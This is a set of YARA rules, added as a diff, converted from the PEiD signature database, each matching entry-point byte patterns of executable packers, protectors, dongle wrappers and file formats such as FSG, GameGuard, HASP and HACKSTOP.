+rule PEiD_00839_FSG_v1_33__Eng_____dulek_xt_
+{
+    meta:
+        description = "[FSG v1.33 (Eng) -> dulek/xt]"
+        ep_only = "true"
+    strings:
+        $a = {BE A4 01 40 00 AD 93 AD 97 AD 56 96 B2 80 A4 B6 80 FF 13 73 F9 33 C9 FF 13 73 16 33 C0 FF 13 73 1F B6 80 41 B0 10 FF 13 12 C0 73 FA 75 3C AA EB E0 FF 53 08 02 F6 83 D9 01 75 0E FF 53 04 EB 26 AC D1 E8 74 2F 13 C9 EB 1A 91 48 C1 E0 08 AC FF 53 04 3D 00 7D 00 00 73 0A 80 FC 05 73 06 83 F8 7F 77 02 41 41 95 8B C5 B6 00 56 8B F7 2B F0 F3 A4 5E EB 9D 8B D6 5E AD 48 74 0A 79 02 AD 50 56 8B F2 97 EB 87 AD 93 5E 46 AD 97 56 FF 13 95 AC 84 C0 75 FB FE 0E 74 F0 79 05 46 AD 50 EB 09 FE 0E 0F 84 ?? ?? ?? FF 56 55 FF 53 04 AB EB E0 33 C9 41 FF 13 13 C9 FF 13 72 F8 C3 02 D2 75 05 8A 16 46 12 D2 C3 ?? ?? ?? 00 00 00 00 00 00 00 00 00 54 01 00 00 ?? ?? ?? 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 61 01 00 00 6F 01 00 00 00 00 00 00 00 00 00 00 00 00}
+    condition:
+        $a at pe.entry_point
+}
+
+rule PEiD_00840_FSG_v1_33_
+{
+    meta:
+        description = "[FSG v1.33]"
+        ep_only = "true"
+    strings:
+        $a = {BE A4 01 40 00 AD 93 AD 97 AD 56 96 B2 80 A4 B6 80 FF 13 73}
+    condition:
+        $a at pe.entry_point
+}
+
+rule PEiD_00841_FSG_v1_3_
+{
+    meta:
+        description = "[FSG v1.3]"
+        ep_only = "true"
+    strings:
+        $a = {BB D0 01 40 00 BF 00 10 40 00 BE ?? ?? ?? ?? 53 E8 0A 00 00 00 02 D2 75 05 8A 16 46 12 D2 C3 B2 80 A4 6A 02 5B FF 14 24 73 F7 33 C9 FF 14 24 73 18 33 C0 FF 14 24 73 21 B3 02 41 B0 10 FF 14 24 12 C0 73 F9 75 3F AA EB DC E8 43 00 00 00 2B CB 75 10 E8 38 00 00 00 EB 28 AC D1 E8 74 41 13 C9 EB 1C 91 48 C1 E0 08 AC E8 22 00 00 00 3D 00 7D 00 00 73 0A 80 FC 05 73 06 83 F8 7F 77 02 41 41 95 8B C5 B3 01 56 8B F7 2B F0 F3 A4 5E EB 96 33 C9 41 FF 54 24 04 13 C9 FF 54 24 04 72 F4 C3 5F 5B 0F B7 3B 4F 74 08 4F 74 13 C1 E7 0C EB 07 8B 7B 02 57 83 C3 04 43 43 E9 52 FF FF FF 5F BB ?? ?? ?? ?? 47 8B 37 AF 57 FF 13 95 33 C0 AE 75 FD FE 0F 74 EF FE}
+    condition:
+        $a at pe.entry_point
+}
+
+rule PEiD_00842_FSG_v1_3_
+{
+    meta:
+        description = "[FSG v1.3]"
+        ep_only = "false"
+    strings:
+        $a = {BB D0 01 40 00 BF 00 10 40 00 BE ?? ?? ?? ?? 53 E8 0A 00 00 00 02 D2 75 05 8A 16 46 12 D2 C3 B2 80 A4 6A 02 5B FF 14 24 73 F7 33 C9 FF 14 24 73 18 33 C0 FF 14 24 73 21 B3 02 41 B0 10 FF 14 24 12 C0 73 F9 75 3F AA EB DC E8 43 00 00 00 2B CB 75 10 E8 38 00 00 00 EB 28 AC D1 E8 74 41 13 C9 EB 1C 91 48 C1 E0 08 AC E8 22 00 00 00 3D 00 7D 00 00 73 0A 80 FC 05 73 06 83 F8 7F 77 02 41 41 95 8B C5 B3 01 56 8B F7 2B F0 F3 A4 5E EB 96 33 C9 41 FF 54 24 04 13 C9 FF 54 24 04 72 F4 C3 5F 5B 0F B7 3B 4F 74 08 4F 74 13 C1 E7 0C EB 07 8B 7B 02 57 83 C3 04 43 43 E9 52 FF FF FF 5F BB ?? ?? ?? ?? 47 8B 37 AF 57 FF 13 95 33 C0 AE 75 FD FE ?? 74 EF FE}
+    condition:
+        $a
+}
+
+rule PEiD_00843_FSG_v2_0____bart_xt_
+{
+    meta:
+        description = "[FSG v2.0 -> bart/xt]"
+        ep_only = "true"
+    strings:
+        $a = {87 25 ?? ?? ?? 00 61 94 55 A4 B6 80 FF 13}
+    condition:
+        $a at pe.entry_point
+}
+
+rule PEiD_00844_FSG_v2_0_
+{
+    meta:
+        description = "[FSG v2.0]"
+        ep_only = "false"
+    strings:
+        $a = {87 25 ?? ?? ?? ?? 61 94 55 A4 B6 80 FF 13 73 F9 33 C9 FF 13 73 16 33 C0 FF 13 73 1F B6 80 41 B0 10 FF 13 12 C0 73 FA 75}
+    condition:
+        $a
+}
+
+rule PEiD_00845_Fuck_n_Joy_1_0c____UsAr_
+{
+    meta:
+        description = "[Fuck'n'Joy 1.0c -> UsAr]"
+        ep_only = "false"
+    strings:
+        $a = {60 E8 00 00 00 00 5D 81 ED D8 05 40 00 FF 74 24 20 E8 8C 02 00 00 0B C0 0F 84 2C 01 00 00 89 85 6C 08 40 00 8D 85 2F 08 40 00 50 FF B5 6C 08 40 00 E8 EF 02 00 00 0B C0 0F 84 0C 01 00 00 89 85 3B 08 40 00 8D 85 3F 08 40 00 50 FF B5 6C 08 40 00 E8 CF 02 00}
+    condition:
+        $a
+}
+
+rule PEiD_00846_Fuck_n_Joy_v1_0c____UsAr_
+{
+    meta:
+        description = "[Fuck'n'Joy v1.0c -> UsAr]"
+        ep_only = "true"
+    strings:
+        $a = {60 E8 00 00 00 00 5D 81 ED D8 05 40 00 FF 74 24 20 E8 8C 02 00 00 0B C0 0F 84 2C 01 00 00 89 85 6C 08 40 00 8D 85 2F 08 40 00 50 FF B5 6C 08 40 00 E8 EF 02 00 00 0B C0 0F 84 0C 01 00 00 89 85 3B 08 40 00 8D 85 3F 08 40 00 50 FF B5 6C 08 40 00 E8 CF 02 00 00 0B C0 0F 84 EC 00 00 00 89 85 4D 08 40 00 8D 85 51 08 40 00 50 FF B5 6C 08 40 00 E8 AF 02 00 00 0B C0 0F 84 CC 00 00 00 89 85 5C 08 40 00 8D 85 67 07 40 00 E8 7B 02 00 00 8D B5 C4 07 40 00 56 6A 64 FF 95 74 07 40 00 46 80 3E 00 75 FA C7 06 74 6D 70 2E 83 C6 04 C7 06 65 78 65 00 8D 85 36 07 40 00 E8 4C 02 00 00 33 DB 53 53 6A 02 53 53 68 00 00 00 40 8D 85 C4 07 40 00 50 FF 95 74 07 40 00 89 85 78 07 40 00 8D 85 51 07 40 00 E8 21 02 00 00 6A 00 8D 85 7C 07 40 00 50 68 00 ?? ?? 00 8D 85 F2 09 40 00 50 FF}
+    condition:
+        $a at pe.entry_point
+}
+
+rule PEiD_00847_Fusion_1_0____jaNooNi_
+{
+    meta:
+        description = "[Fusion 1.0 -> jaNooNi]"
+        ep_only = "true"
+    strings:
+        $a = {68 04 30 40 00 68 04 30 40 00 E8 09 03 00 00 68 04 30 40 00 E8 C7 02 00 00}
+    condition:
+        $a at pe.entry_point
+}
+
+rule PEiD_00848_G_X_Protector_1_2____Guru_eXe_
+{
+    meta:
+        description = "[G!X Protector 1.2 -> Guru.eXe]"
+        ep_only = "true"
+    strings:
+        $a = {60 EB 05 E8 EB 04 40 00 EB FA E8 0A 00 00 00}
+    condition:
+        $a at pe.entry_point
+}
+
+rule PEiD_00849_GameGuard___nProtect_
+{
+    meta:
+        description = "[GameGuard - nProtect]"
+        ep_only = "true"
+    strings:
+        $a = {31 FF 74 06 61 E9 4A 4D 50 30 5A BA 7D 00 00 00 80 7C 24 08 01 E9 00 00 00 00 60 BE ?? ?? ?? ?? 31 FF 74 06 61 E9 4A 4D 50 30 8D BE ?? ?? ?? ?? 31 C9 74 06 61 E9 4A 4D 50 30 B8 7D 00 00 00 39 C2 B8 4C 00 00 00 F7 D0 75 3F 64 A1 30 00 00 00 85 C0 78 23 8B}
+    condition:
+        $a at pe.entry_point
+}
+
+rule PEiD_00850_GameGuard___nProtect_
+{
+    meta:
+        description = "[GameGuard - nProtect]"
+        ep_only = "true"
+    strings:
+        $a = {31 FF 74 06 61 E9 4A 4D 50 30 5A BA 7D 00 00 00 80 7C 24 08 01 E9 00 00 00 00 60 BE ?? ?? ?? ?? 31 FF 74 06 61 E9 4A 4D 50 30 8D BE ?? ?? ?? ?? 31 C9 74 06 61 E9 4A 4D 50 30 B8 7D 00 00 00 39 C2 B8 4C 00 00 00 F7 D0 75 3F 64 A1 30 00 00 00 85 C0 78 23 8B 40 0C 8B 40 0C C7 40 20 00 10 00 00 64 A1 18 00 00 00 8B 40 30 0F B6 40 02 85 C0 75 16 E9 12 00 00 00 31 C0 64 A0 20 00 00 00 85 C0 75 05 E9 01 00 00 00 61 57 83 CD FF EB 0B 90 8A 06 46 88 07 47 01 DB 75 07 8B 1E 83 EE FC 11 DB 72 ED B8 01 00 00 00 01 DB 75 07}
+    condition:
+        $a at pe.entry_point
+}
+
+rule PEiD_00851_GameGuard_v2006_5_x_x____dll__
+{
+    meta:
+        description = "[GameGuard v2006.5.x.x (*.dll)]"
+        ep_only = "true"
+    strings:
+        $a = {31 FF 74 06 61 E9 4A 4D 50 30 BA 4C 00 00 00 80 7C 24 08 01 0F 85 ?? 01 00 00 60 BE 00}
+    condition:
+        $a at pe.entry_point
+}
+
+rule PEiD_00852_GameGuard_v2006_5_x_x____exe__
+{
+    meta:
+        description = "[GameGuard v2006.5.x.x (*.exe)]"
+        ep_only = "true"
+    strings:
+        $a = {31 FF 74 06 61 E9 4A 4D 50 30 5A BA 7D 00 00 00 80 7C 24 08 01 E9 00 00 00 00 60 BE 00}
+    condition:
+        $a at pe.entry_point
+}
+
+rule PEiD_00853_Gamehouse_Media_Protector_Version_Unknown_
+{
+    meta:
+        description = "[Gamehouse Media Protector Version Unknown]"
+        ep_only = "true"
+    strings:
+        $a = {68 ?? ?? ?? ?? 6A 00 FF 15 ?? ?? ?? ?? 50 FF 15 ?? ?? ?? 00 00 00 00 00 00 00 00}
+    condition:
+        $a at pe.entry_point
+}
+
+rule PEiD_00854_Gardian_Angel_1_0_
+{
+    meta:
+        description = "[Gardian Angel 1.0]"
+        ep_only = "true"
+    strings:
+        $a = {06 8C C8 8E D8 8E C0 FC BF ?? ?? EB}
+    condition:
+        $a at pe.entry_point
+}
+
+rule PEiD_00855_Gentee_Installer_Custom_
+{
+    meta:
+        description = "[Gentee Installer Custom]"
+        ep_only = "true"
+    strings:
+        $a = {55 8B EC 81 EC 14 04 00 00 53 56 57 6A 00 FF 15 08 41 40 00 68 00 50 40 00 FF 15 04 41 40 00 85 C0 74 29 6A 00 A1 00 20 40 00 ?? ?? ?? ?? 41 40 00 8B F0 6A 06 56 FF 15 1C 41 40 00 6A 03 56 FF}
+    condition:
+        $a at pe.entry_point
+}
+
+rule PEiD_00856_GHF_Protector__pack_only_____GPcH_
+{
+    meta:
+        description = "[GHF Protector (pack only) -> GPcH]"
+        ep_only = "true"
+    strings:
+        $a = {60 68 ?? ?? ?? ?? B8 ?? ?? ?? ?? FF 10 68 ?? ?? ?? ?? 50 B8 ?? ?? ?? ?? FF 10 68 00 00 00 00 6A 40 FF D0 89 05 ?? ?? ?? ?? 89 C7 BE ?? ?? ?? ?? 60 FC B2 80 31 DB A4 B3 02 E8 6D 00 00 00 73 F6 31 C9 E8 64 00 00 00 73 1C 31 C0 E8 5B 00 00 00 73 23 B3 02 41}
+    condition:
+        $a at pe.entry_point
+}
+
+rule PEiD_00857_GHF_Protector__pack_only_____GPcH_
+{
+    meta:
+        description = "[GHF Protector (pack only) -> GPcH]"
+        ep_only = "true"
+    strings:
+        $a = {60 68 ?? ?? ?? ?? B8 ?? ?? ?? ?? FF 10 68 ?? ?? ?? ?? 50 B8 ?? ?? ?? ?? FF 10 68 00 00 00 00 6A 40 FF D0 89 05 ?? ?? ?? ?? 89 C7 BE ?? ?? ?? ?? 60 FC B2 80 31 DB A4 B3 02 E8 6D 00 00 00 73 F6 31 C9 E8 64 00 00 00 73 1C 31 C0 E8 5B 00 00 00 73 23 B3 02 41 B0 10 E8 4F 00 00 00 10 C0 73 F7 75 3F AA EB D4 E8 4D 00 00 00 29 D9 75 10 E8 42 00 00 00 EB 28 AC D1 E8 74 4D 11 C9 EB 1C 91 48 C1 E0 08 AC E8 2C 00 00 00 3D 00 7D 00 00 73 0A 80 FC 05 73 06 83 F8 7F 77 02 41 41 95 89 E8 B3 01 56 89 FE 29 C6 F3 A4 5E EB 8E 00 D2 75 05 8A 16 46 10 D2 C3 31 C9 41 E8 EE FF FF FF 11 C9 E8 E7 FF FF FF 72 F2 C3 61 B9 FC FF FF FF 8B 1C 08 89 99 ?? ?? ?? ?? E2 F5 90 90 BA ?? ?? ?? ?? BE ?? ?? ?? ?? 01 D6 8B 46 0C 85 C0 0F 84 87 00 00 00 01 D0 89 C3 50 B8 ?? ?? ?? ?? FF 10 85 C0 75 08 53 B8 ?? ?? ?? ?? FF 10 89 05 ?? ?? ?? ?? C7 05 ?? ?? ?? ?? 00 00 00 00 BA ?? ?? ?? ?? 8B 06 85 C0 75 03 8B 46 10 01 D0 03 05 ?? ?? ?? ?? 8B 18 8B 7E 10 01 D7 03 3D ?? ?? ?? ?? 85 DB 74 2B F7 C3 00 00 00 80 75 04 01 D3 43 43 81 E3 FF FF FF 0F 53 FF 35 ?? ?? ?? ?? B8 ?? ?? ?? ?? FF 10 89 07 83 05 ?? ?? ?? ?? 04 EB AE 83 C6 14 BA ?? ?? ?? ?? E9 6E FF FF FF 68 ?? ?? ?? ?? B8 ?? ?? ?? ?? FF 10 68 ?? ?? ?? ?? 50 B8 ?? ?? ?? ?? FF 10 8B 15 ?? ?? ?? ?? 52 FF D0 61 BA ?? ?? ?? ?? FF E2 90 C3}
+    condition:
+        $a at pe.entry_point
+}
+
+rule PEiD_00858_GHF_Protector__pack____GPcH_
+{
+    meta:
+        description = "[GHF Protector (pack) / GPcH]"
+        ep_only = "true"
+    strings:
+        $a = {60 68 ?? ?? ?? ?? B8 ?? ?? ?? ?? FF 10 68 ?? ?? ?? ?? 50 B8 ?? ?? ?? ?? FF 10 68 00 A0 00 00 6A 40 FF D0 89 05 ?? ?? ?? ?? 89 C7 BE ?? ?? ?? ?? 60 FC B2 80 31 DB A4 B3 02 E8 6D 00 00 00 73 F6}
+    condition:
+        $a at pe.entry_point
+}
+
+rule PEiD_00859_Gleam_1_00_
+{
+    meta:
+        description = "[Gleam 1.00]"
+        ep_only = "false"
+    strings:
+        $a = {83 EC 0C 53 56 57 E8 24 02 00}
+    condition:
+        $a
+}
+
+rule PEiD_00860_Go32Stub_v_2_00_DOS_Extender_
+{
+    meta:
+        description = "[Go32Stub v.2.00 DOS-Extender]"
+        ep_only = "true"
+    strings:
+        $a = {0E 1F 8C 1E ?? ?? 8C 06 ?? ?? FC B4 30 CD 21 80}
+    condition:
+        $a at pe.entry_point
+}
+rule PEiD_00861_Go32Stub_v_2_00T_DOS_Extender_
+{
+    meta:
+        description = "[Go32Stub v.2.00T DOS-Extender]"
+        ep_only = "true"
+    strings:
+        $a = {0E 1F 8C 1E ?? ?? 8C 06 ?? ?? FC B4 30 CD 21 3C}
+    condition:
+        $a at pe.entry_point
+}
+
+rule PEiD_00862_Goat_s_PE_Mutilator_1_6_
+{
+    meta:
+        description = "[Goat's PE Mutilator 1.6]"
+        ep_only = "true"
+    strings:
+        $a = {E8 EA 0B 00 00 ?? ?? ?? 8B 1C 79 F6 63 D8 8D 22 B0 BF F6 49 08 C3 02 BD 3B 6C 29 46 13 28 5D 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00}
+    condition:
+        $a at pe.entry_point
+}
+
+rule PEiD_00863_Goat_s_PE_Mutilator_1_6_
+{
+    meta:
+        description = "[Goat's PE Mutilator 1.6]"
+        ep_only = "true"
+    strings:
+        $a = {E8 EA 0B 00 00 ?? ?? ?? 8B 1C 79 F6 63 D8 8D 22 B0 BF F6 49 08 C3 02 BD 3B 6C 29 46 13 28 5D 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 0F 53 0F DE 0F 55 0F 60 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00}
+    condition:
+        $a at pe.entry_point
+}
+
+rule PEiD_00864_Goats_Mutilator_v1_6____Goat__e0f_
+{
+    meta:
+        description = "[Goats Mutilator v1.6 -> Goat/_e0f]"
+        ep_only = "true"
+    strings:
+        $a = {E8 EA 0B 00 00 ?? ?? ?? 8B 1C 79 F6 63 D8 8D 22 B0 BF F6 49 08 C3 02 BD 3B 6C 29 46 13 28 5D}
+    condition:
+        $a at pe.entry_point
+}
+
+rule PEiD_00865_GP_Install_v5_0_3_32_
+{
+    meta:
+        description = "[GP-Install v5.0.3.32]"
+        ep_only = "false"
+    strings:
+        $a = {55 8B EC 33 C9 51 51 51 51 51 51 51 53 56 57 B8 C4 1C 41 00 E8 6B 3E FF FF 33 C0 55 68 76 20 41 00 64 FF 30 64 89 20 BA A0 47 41 00 33 C0 E8 31 0A FF FF 33 D2 A1 A0}
+    condition:
+        $a
+}
+
+rule PEiD_00866_Guardant_Stealth_aka_Novex_Dongle_
+{
+    meta:
+        description = "[Guardant Stealth aka Novex Dongle]"
+        ep_only = "true"
+    strings:
+        $a = {55 8B EC 83 C4 F0 60 E8 51 FF FF FF}
+    condition:
+        $a at pe.entry_point
+}
+
+rule PEiD_00867_HACKSTOP_v1_00_
+{
+    meta:
+        description = "[HACKSTOP v1.00]"
+        ep_only = "true"
+    strings:
+        $a = {FA BD ?? ?? FF E5 6A 49 48 0C ?? E4 ?? 3F 98 3F}
+    condition:
+        $a at pe.entry_point
+}
+
+rule PEiD_00868_HACKSTOP_v1_10__v1_11_
+{
+    meta:
+        description = "[HACKSTOP v1.10, v1.11]"
+        ep_only = "true"
+    strings:
+        $a = {B4 30 CD 21 86 E0 3D ?? ?? 73 ?? B4 2F CD 21 B0 ?? B4 4C CD 21 50 B8 ?? ?? 58 EB}
+    condition:
+        $a at pe.entry_point
+}
+
+rule PEiD_00869_HACKSTOP_v1_10p1_
+{
+    meta:
+        description = "[HACKSTOP v1.10p1]"
+        ep_only = "true"
+    strings:
+        $a = {B4 30 CD 21 86 E0 3D 00 03 73 ?? B4 2F CD 21 B4 2A CD 21 B4 2C CD 21 B0 FF B4 4C CD 21 50 B8 ?? ?? 58 EB}
+    condition:
+        $a at pe.entry_point
+}
+
+rule PEiD_00870_HACKSTOP_v1_11c_
+{
+    meta:
+        description = "[HACKSTOP v1.11c]"
+        ep_only = "true"
+    strings:
+        $a = {B4 30 CD 21 86 E0 3D ?? ?? 73 ?? B4 ?? CD 21 B0 ?? B4 4C CD 21 53 BB ?? ?? 5B EB}
+    condition:
+        $a at pe.entry_point
+}
+
+rule PEiD_00871_HACKSTOP_v1_13_
+{
+    meta:
+        description = "[HACKSTOP v1.13]"
+        ep_only = "true"
+    strings:
+        $a = {52 B8 ?? ?? 1E CD 21 86 E0 3D ?? ?? 73 ?? CD 20 0E 1F B4 09 E8 ?? ?? 24 ?? EA}
+    condition:
+        $a at pe.entry_point
+}
+
+rule PEiD_00872_HACKSTOP_v1_18_
+{
+    meta:
+        description = "[HACKSTOP v1.18]"
+        ep_only = "true"
+    strings:
+        $a = {52 BA ?? ?? 5A EB ?? 9A ?? ?? ?? ?? 30 CD 21 ?? ?? ?? FD 02 ?? ?? CD 20 0E 1F 52 BA ?? ?? 5A EB}
+    condition:
+        $a at pe.entry_point
+}
+
+rule PEiD_00873_HACKSTOP_v1_19_
+{
+    meta:
+        description = "[HACKSTOP v1.19]"
+        ep_only = "true"
+    strings:
+        $a = {52 BA ?? ?? 5A EB ?? 9A ?? ?? ?? ?? 30 CD 21 ?? ?? ?? D6 02 ?? ?? CD 20 0E 1F 52 BA ?? ?? 5A EB}
+    condition:
+        $a at pe.entry_point
+}
+
+rule PEiD_00874_Hardlock_dongle__Alladin__
+{
+    meta:
+        description = "[Hardlock dongle (Alladin)]"
+        ep_only = "true"
+    strings:
+        $a = {5C 5C 2E 5C 48 41 52 44 4C 4F 43 4B 2E 56 58 44 00 00 00 00 5C 5C 2E 5C 46 45 6E 74 65 44 65 76}
+    condition:
+        $a at pe.entry_point
+}
+rule PEiD_00875_Hasp_4_envelope_dongle__Alladin__
+{
+    meta:
+        description = "[Hasp 4 envelope dongle (Alladin)]"
+        ep_only = "true"
+    strings:
+        $a = {10 02 D0 51 0F 00 83}
+    condition:
+        $a at pe.entry_point
+}
+
+rule PEiD_00876_Hasp_dongle__Alladin__
+{
+    meta:
+        description = "[Hasp dongle (Alladin)]"
+        ep_only = "true"
+    strings:
+        $a = {50 53 51 52 57 56 8B 75 1C 8B 3E ?? ?? ?? ?? ?? 8B 5D 08 8A FB ?? ?? 03 5D 10 8B 45 0C 8B 4D 14 8B 55 18 80 FF 32}
+    condition:
+        $a at pe.entry_point
+}
+
+rule PEiD_00877_HASP_HL_Protection_1_X____Aladdin_
+{
+    meta:
+        description = "[HASP HL Protection 1.X -> Aladdin]"
+        ep_only = "false"
+    strings:
+        $a = {55 8B EC 53 56 57 60 8B C4 A3 ?? ?? ?? ?? B8 ?? ?? ?? ?? 2B 05 ?? ?? ?? ?? A3 ?? ?? ?? ?? 83 3D ?? ?? ?? ?? 00 74 15 8B 0D ?? ?? ?? ?? 51 FF 15 ?? ?? ?? ?? 83 C4 04 E9 A5 00 00 00 68 ?? ?? ?? ?? FF 15 ?? ?? ?? ?? A3 ?? ?? ?? ?? 68 ?? ?? ?? ?? FF 15}
+    condition:
+        $a
+}
+
+rule PEiD_00878_HASP_HL_Protection_V1_X____Aladdin___Sign_by_fly_
+{
+    meta:
+        description = "[HASP HL Protection V1.X -> Aladdin ! Sign by fly]"
+        ep_only = "true"
+    strings:
+        $a = {55 8B EC 53 56 57 60 8B C4 A3 ?? ?? ?? ?? B8 ?? ?? ?? ?? 2B 05 ?? ?? ?? ?? A3 ?? ?? ?? ?? 83 3D ?? ?? ?? ?? 00 74 15 8B 0D ?? ?? ?? ?? 51 FF 15 ?? ?? ?? ?? 83 C4 04 E9 A5 00 00 00 68 ?? ?? ?? ?? FF 15 ?? ?? ?? ?? A3 ?? ?? ?? ?? 68 ?? ?? ?? ?? FF 15 ?? ?? ?? ?? A3 ?? ?? ?? ?? 8B 15}
+    condition:
+        $a at pe.entry_point
+}
+
+rule PEiD_00879_HEALTH_v_5_1_by_Muslim_M_Polyak_
+{
+    meta:
+        description = "[HEALTH v.5.1 by Muslim M.Polyak]"
+        ep_only = "true"
+    strings:
+        $a = {1E E8 ?? ?? 2E 8C 06 ?? ?? 2E 89 3E ?? ?? 8B D7 B8 ?? ?? CD 21 8B D8 0E 1F E8 ?? ?? 06 57 A1 ?? ?? 26}
+    condition:
+        $a at pe.entry_point
+}
+
+rule PEiD_00880_Hide_PE_1_01____BGCorp_
+{
+    meta:
+        description = "[Hide PE 1.01 -> BGCorp]"
+        ep_only = "true"
+    strings:
+        $a = {?? BA ?? ?? ?? 00 B8 ?? ?? ?? ?? 89 02 83 C2 04 B8 ?? ?? ?? ?? 89 02 83 C2 04 B8 ?? ?? ?? ?? 89 02 83 C2 F8 FF E2 0D 0A 2D 3D 5B 20 48 69 64 65 50 45 20 62 79 20 42 47 43 6F 72 70 20 5D 3D 2D}
+    condition:
+        $a at pe.entry_point
+}
+
+rule PEiD_00881_Hide_Protect_1_016____SoftWar_Company_
+{
+    meta:
+        description = "[Hide&Protect 1.016 -> SoftWar Company]"
+        ep_only = "true"
+    strings:
+        $a = {90 90 90 E9 D8 ?? 05 00 95 ?? 53 00 95 4A 50 00}
+    condition:
+        $a at pe.entry_point
+}
+
+rule PEiD_00882_Hide_Protect_V1_0X___SoftWar_Company_
+{
+    meta:
+        description = "[Hide&Protect V1.0X-> SoftWar Company]"
+        ep_only = "true"
+    strings:
+        $a = {90 90 90 E9 D8}
+    condition:
+        $a at pe.entry_point
+}
+
+rule PEiD_00883_Histogram_graphics_file_
+{
+    meta:
+        description = "[Histogram graphics file]"
+        ep_only = "false"
+    strings:
+        $a = {6D 68 77 61 6E 68 00 04 01 02 01 02}
+    condition:
+        $a
+}
+
+rule PEiD_00884_Hitachi_Raster_Format_graphics_format_
+{
+    meta:
+        description = "[Hitachi Raster Format graphics format]"
+        ep_only = "false"
+    strings:
+        $a = {43 41 44 43 2F 4B 52 20 52 53 54}
+    condition:
+        $a
+}
+
+rule PEiD_00885_hmimys_protect_0_1____hmimys_
+{
+    meta:
+        description = "[hmimys protect 0.1 -> hmimys]"
+        ep_only = "false"
+    strings:
+        $a = {5E 83 C6 64 AD 50 AD 50 83 EE 6C AD 50 AD 50 AD 50 AD 50 AD 50 E8}
+    condition:
+        $a
+}
+
+rule PEiD_00886_hmimys_Protect_v1_0_
+{
+    meta:
+        description = "[hmimys Protect v1.0]"
+        ep_only = "true"
+    strings:
+        $a = {E8 BA 00 00 00 ?? 00 00 00 00 ?? ?? 00 00 10 40 00 ?? ?? ?? 00 ?? ?? ?? 00 00 ?? ?? 00 ?? ?? ?? 00 ?? ?? ?? 00 ?? ?? ?? 00 ?? ?? ?? 00 ?? ?? ?? 00 ?? 00 00 00 00 00 00 00 ?? ?? ?? 00 00 00 00 00 00 00 00 00 ?? ?? ?? 00 ?? ?? ?? 00 00 00 00 00 00 00 00 00}
+    condition:
+        $a at pe.entry_point
+}
+
+rule PEiD_00887_hmimys_Protect_v1_0_
+{
+    meta:
+        description = "[hmimys Protect v1.0]"
+        ep_only = "true"
+    strings:
+        $a = {E8 BA 00 00 00 ?? 00 00 00 00 ?? ?? 00 00 10 40 00 ?? ?? ?? 00 ?? ?? ?? 00 00 ?? ?? 00 ?? ?? ?? 00 ?? ?? ?? 00 ?? ?? ?? 00 ?? ?? ?? 00 ?? ?? ?? 00 ?? 00 00 00 00 00 00 00 ?? ?? ?? 00 00 00 00 00 00 00 00 00 ?? ?? ?? 00 ?? ?? ?? 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 ?? ?? ?? 00 ?? ?? ?? 00 ?? ?? ?? 00 ?? ?? ?? 00 00 00 00 00 4B 65 72 6E 65 6C 33 32 2E 64 6C 6C 00 00 00 4C 6F 61 64 4C 69 62 72 61 72 79 41 00 00 00 47 65 74 50 72 6F 63 41 64 64 72 65 73 73 00 00 00 56 69 72 74 75 61 6C 46 72 65 65 00 00 00 56 69 72 74 75 61 6C 41 6C 6C 6F 63 00 5E 83 C6 64 AD 50 AD 50 83 EE 6C AD 50 AD 50 AD 50 AD 50 AD 50 E8 E7 07 00 00 AD 8B DE 8B F0 83 C3 44 AD 85 C0 74 32 8B F8 56 FF 13 8B E8 AC 84 C0 75 FB AC 84 C0 74 EA 4E AD A9 00 00 00}
+    condition:
+        $a at pe.entry_point
+}
+
+rule PEiD_00888_hmimys_Protect_v1_0_
+{
+    meta:
+        description = "[hmimys Protect v1.0]"
+        ep_only = "true"
+    strings:
+        $a = {E8 BA 00 00 00 ?? 00 00 00 00 ?? ?? 00 00 10 40 00 ?? ?? ?? 00 ?? ?? ?? 00 00 ?? ?? 00 ?? ?? ?? 00 ?? ?? ?? 00 ?? ?? ?? 00 ?? ?? ?? 00 ?? ?? ?? 00 ?? 00 00 00 00 00 00 00 ?? ?? ?? 00 00 00 00 00 00 00 00 00 ?? ?? ?? 00 ?? ?? ?? 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 ?? ?? ?? 00 ?? ?? ?? 00 ?? ?? ?? 00 ?? ?? ?? 00 00 00 00 00 4B 65 72 6E 65 6C 33 32 2E 64 6C 6C 00 00 00 4C 6F 61 64 4C 69 62 72 61 72 79 41 00 00 00 47 65 74 50 72 6F 63 41 64 64 72 65 73 73 00 00 00 56 69 72 74 75 61 6C 46 72 65 65 00 00 00 56 69 72 74 75 61 6C 41 6C 6C 6F 63 00 5E 83 C6 64 AD 50 AD 50 83 EE 6C AD 50 AD 50 AD 50 AD 50 AD 50 E8 E7 07 00 00 AD 8B DE 8B F0 83 C3 44 AD 85 C0 74 32 8B F8 56 FF 13 8B E8 AC 84 C0 75 FB AC 84 C0 74 EA 4E AD A9}
+    condition:
+        $a at pe.entry_point
+}
+
+rule PEiD_00889_hmimys_s_PE_Pack_0_1____hmimys_
+{
+    meta:
+        description = "[hmimys's PE-Pack 0.1 -> hmimys]"
+        ep_only = "true"
+    strings:
+        $a = {E8 00 00 00 00 5D 83 ED 05 6A 00 FF 95 E1 0E 00 00 89 85 85 0E 00 00 8B 58 3C 03 D8 81 C3 F8 00 00 00 80 AD 89 0E 00 00 01 89 9D 63 0F 00 00 8B 4B 0C 03 8D 85 0E 00 00 8B 53 08 80 BD 89 0E 00 00 00 75 0C 03 8D 91 0E 00 00 2B 95 91 0E 00 00 89 8D 57 0F 00}
+    condition:
+        $a at pe.entry_point
+}
